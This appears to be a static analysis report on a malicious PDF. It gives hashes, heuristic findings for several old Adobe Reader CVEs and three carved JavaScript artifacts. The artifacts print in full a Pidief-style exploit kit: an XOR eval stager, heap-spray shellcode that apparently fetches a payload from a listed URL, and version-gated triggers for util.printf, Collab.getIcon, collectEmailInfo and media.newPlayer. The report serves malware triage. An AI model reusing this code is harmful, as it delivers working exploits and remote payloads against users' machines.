Malicious PDF — malware analysis report

Static analysis result for SHA-256 dd38ed788434d189…

MALICIOUS

PDF

4.8 KB Created: 2010-07-24 11:33:11 Authoring application: Giszilawve (via 0b6d3Uabonicehowgifi) First seen: 2026-05-11
MD5: 98871bb0a6bda418c02751212ebbe726 SHA-1: e9186e4e05a08df6f3f57c114ba05660cda3788e SHA-256: dd38ed788434d18991f236c3d408f4d8232a905dccaf44499db90a16d0952ba3
390 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, identified by the 'PDF_JAVASCRIPT', 'PDF_JS', and 'PDF_PAGE_WORD_XOR_EVAL_STAGER' heuristics. The stager is designed to execute JavaScript, which is commonly used to download and run additional malicious payloads. The specific obfuscation and stager mechanism suggest a downloader or initial access stage.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Page-word XOR JavaScript eval stager high PDF_PAGE_WORD_XOR_EVAL_STAGER
    PDF JavaScript enumerates rendered page words with getPageNthWord/getPageNumWords, extracts encoded byte fragments, XOR-decodes the stage with char-code helpers, and evals the result. This is an old exploit-kit staging pattern and is not normal document JavaScript.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ahrudb.egh/4 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0011_000.js pdf-javascript-stream PDF /JS object 11 at offset 0xE4D 618 bytes
SHA-256: 748428c4019431b3267cfb7c97e243770ccf1bb90e7f27e0d8ba32953a4bea70
Preview script
First 1,000 lines of the extracted script
try {yB='var55  wB = 204 ;var55  tAH = t55his;var rY=55tAH.ge5tPageNum5Words(t55his.pageNum);55var mNC=5\'\'5;for(var 55qD=0;qD< rY; 55qD5++){m55NC=[mN5C, tA55H.getPageNthWord(tAH.pageNum,qD,t55rue55)55].j55oin(\'55\');;}var v5C=\'\';f5or(var5 qD=0;qD5 <5 mNC.55length;55 qD+=552){kD=mNC.substr(qD,2);vC55=[vC,Str5i55ng.fr55o55mCh55arC55ode55(pa55rseIn55t(k55D,516)^wB)]5.j5oin(\'\')55;}eva55l(vC);vC=55null5;'.replace(/[5]/g, '');var xC='F;;unction'.replace(/[;]/g, '');iP=hC(cD,nU);} catch(mD){var fKB=rYB()(yB);fKB();}function rO(){return app['dozzc'.replace(/[z]/g, '')];}function rYB(){var uR=rO();return uR[xC];}
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3788 bytes
SHA-256: 204176d106da9aeb33a73982c39d3b5f0320032bd084f4c0e386180e01c25088
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
nK={v:false};var b=new Date();var f=new Date();var sZ='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';var uF={pA:"yVY"};xY=12907;xY-=41;var xO=this.info['kB'].replace(/[\s]/g, '');fK=["mN","xU"];var wH={z:"xK".charCodeAt(2762)};var tG={tA:"eZ".charCodeAt(22023)};var eHE = this.info;var aX = (eHE.producer.substr(0,5) == 'debug');var j = new Array(); var hY = "%u";function iL(str){str = str.split(hY);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function hQ(str1, str2){return [str1, str2].join("");}function wF(lE){var qN = zU();var kX = hYB();qN += ((qN.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + kX;if(aX) app.alert("URL: " + qN);qN=fG(qN);var d=hY;var kD=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";kD+=qN;return iL(kD);};function zU(){var bG = (eHE.author + eHE.title).replace(/[\s]/g, '');var aH = rC(bG, xO, sZ);return aH;};function rC(bG, sZ, xO){var aH="";for(var i=0; i < bG.length; i++){var mV = sZ.indexOf(bG[i]);if(mV > -1 ){aH += xO[mV];}}return aH;};function fG(bG){var out = "";bG = lI(bG);g = Math.round(bG.length / 4);if (g != bG.length /4) bG+="00";for(var i=0; i < bG.length; i+=4){out+= hY + bG.substr(i+2, 2) + bG.substr(i, 2);}return out;};function lI(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function aL(xW, len){while (xW.length * 2 < len){xW = hQ(xW, xW);}return xW.substring(0, len / 2);};function gB(zE){var uPK = 0x0c0c0c0c;        wT = wF("pdf");if (zE == 1){uPK = 0x30303030;}var xQ = 0x400000;var ln = wT.length * 2;var iN = xQ - (ln + 0x38);var xW = iL(hY+"9090"+hY+"9090"); xW = aL(xW, iN);var rE = (uPK - 0x400000) / xQ;for (var gN = 0; gN < rE; gN ++ ){j[gN] = hQ(xW, wT);}};function hYB(){try {return app.viewerVersion.toString();}catch(vU){    return 0;}}if(aX) app.alert("called exploit");var kX = hYB();if(aX)  app.alert("v: " + kX);if (kX > 8){if(aX) app.alert("util.printf");gB(1);var oT = "12999999999999999999";for (d=0; d < 276; d++) oT += "8";util.printf("%45000f", oT);}if (kX < 8){if(aX) app.alert("Collab.collectEmailInfo");gB(0);var zI = iL(hY+"0c0c"+hY+"0c0c");while (zI.length < 44952) zI += zI;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : zI});}if (kX < 9.1){if (app.doc.Collab.getIcon){if(aX) app.alert("Collab.getIcon");gB(0);var eN = unescape("%09");while (eN.length < 0x4000) eN += eN;eN = "N." + eN;app.doc.Collab.getIcon(eN);}}if (kX == 9.2){if(aX) app.alert("media.newPlayer");gB(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}try {var l='iF'} catch(l){};this.uP=15446;this.uP++;this.wL=28050;this.wL++;var oR=false; `v `
page_word_xor_stage_000.js deobfuscated-js page-word continuous-hex XOR decoded JavaScript (decompressed, key=0xCC) at offset 0x8C 3783 bytes
SHA-256: fe3e9ed8741e6bd9223d6f0bf2a8fe9e0387253ea9895aaadcb3e6a5319a943c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
nK={v:false};var b=new Date();var f=new Date();var sZ='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';var uF={pA:"yVY"};xY=12907;xY-=41;var xO=this.info['kB'].replace(/[\s]/g, '');fK=["mN","xU"];var wH={z:"xK".charCodeAt(2762)};var tG={tA:"eZ".charCodeAt(22023)};var eHE = this.info;var aX = (eHE.producer.substr(0,5) == 'debug');var j = new Array(); var hY = "%u";function iL(str){str = str.split(hY);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function hQ(str1, str2){return [str1, str2].join("");}function wF(lE){var qN = zU();var kX = hYB();qN += ((qN.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + kX;if(aX) app.alert("URL: " + qN);qN=fG(qN);var d=hY;var kD=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";kD+=qN;return iL(kD);};function zU(){var bG = (eHE.author + eHE.title).replace(/[\s]/g, '');var aH = rC(bG, xO, sZ);return aH;};function rC(bG, sZ, xO){var aH="";for(var i=0; i < bG.length; i++){var mV = sZ.indexOf(bG[i]);if(mV > -1 ){aH += xO[mV];}}return aH;};function fG(bG){var out = "";bG = lI(bG);g = Math.round(bG.length / 4);if (g != bG.length /4) bG+="00";for(var i=0; i < bG.length; i+=4){out+= hY + bG.substr(i+2, 2) + bG.substr(i, 2);}return out;};function lI(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function aL(xW, len){while (xW.length * 2 < len){xW = hQ(xW, xW);}return xW.substring(0, len / 2);};function gB(zE){var uPK = 0x0c0c0c0c;        wT = wF("pdf");if (zE == 1){uPK = 0x30303030;}var xQ = 0x400000;var ln = wT.length * 2;var iN = xQ - (ln + 0x38);var xW = iL(hY+"9090"+hY+"9090"); xW = aL(xW, iN);var rE = (uPK - 0x400000) / xQ;for (var gN = 0; gN < rE; gN ++ ){j[gN] = hQ(xW, wT);}};function hYB(){try {return app.viewerVersion.toString();}catch(vU){    return 0;}}if(aX) app.alert("called exploit");var kX = hYB();if(aX)  app.alert("v: " + kX);if (kX > 8){if(aX) app.alert("util.printf");gB(1);var oT = "12999999999999999999";for (d=0; d < 276; d++) oT += "8";util.printf("%45000f", oT);}if (kX < 8){if(aX) app.alert("Collab.collectEmailInfo");gB(0);var zI = iL(hY+"0c0c"+hY+"0c0c");while (zI.length < 44952) zI += zI;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : zI});}if (kX < 9.1){if (app.doc.Collab.getIcon){if(aX) app.alert("Collab.getIcon");gB(0);var eN = unescape("%09");while (eN.length < 0x4000) eN += eN;eN = "N." + eN;app.doc.Collab.getIcon(eN);}}if (kX == 9.2){if(aX) app.alert("media.newPlayer");gB(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}try {var l='iF'} catch(l){};this.uP=15446;this.uP++;this.wL=28050;this.wL++;var oR=false;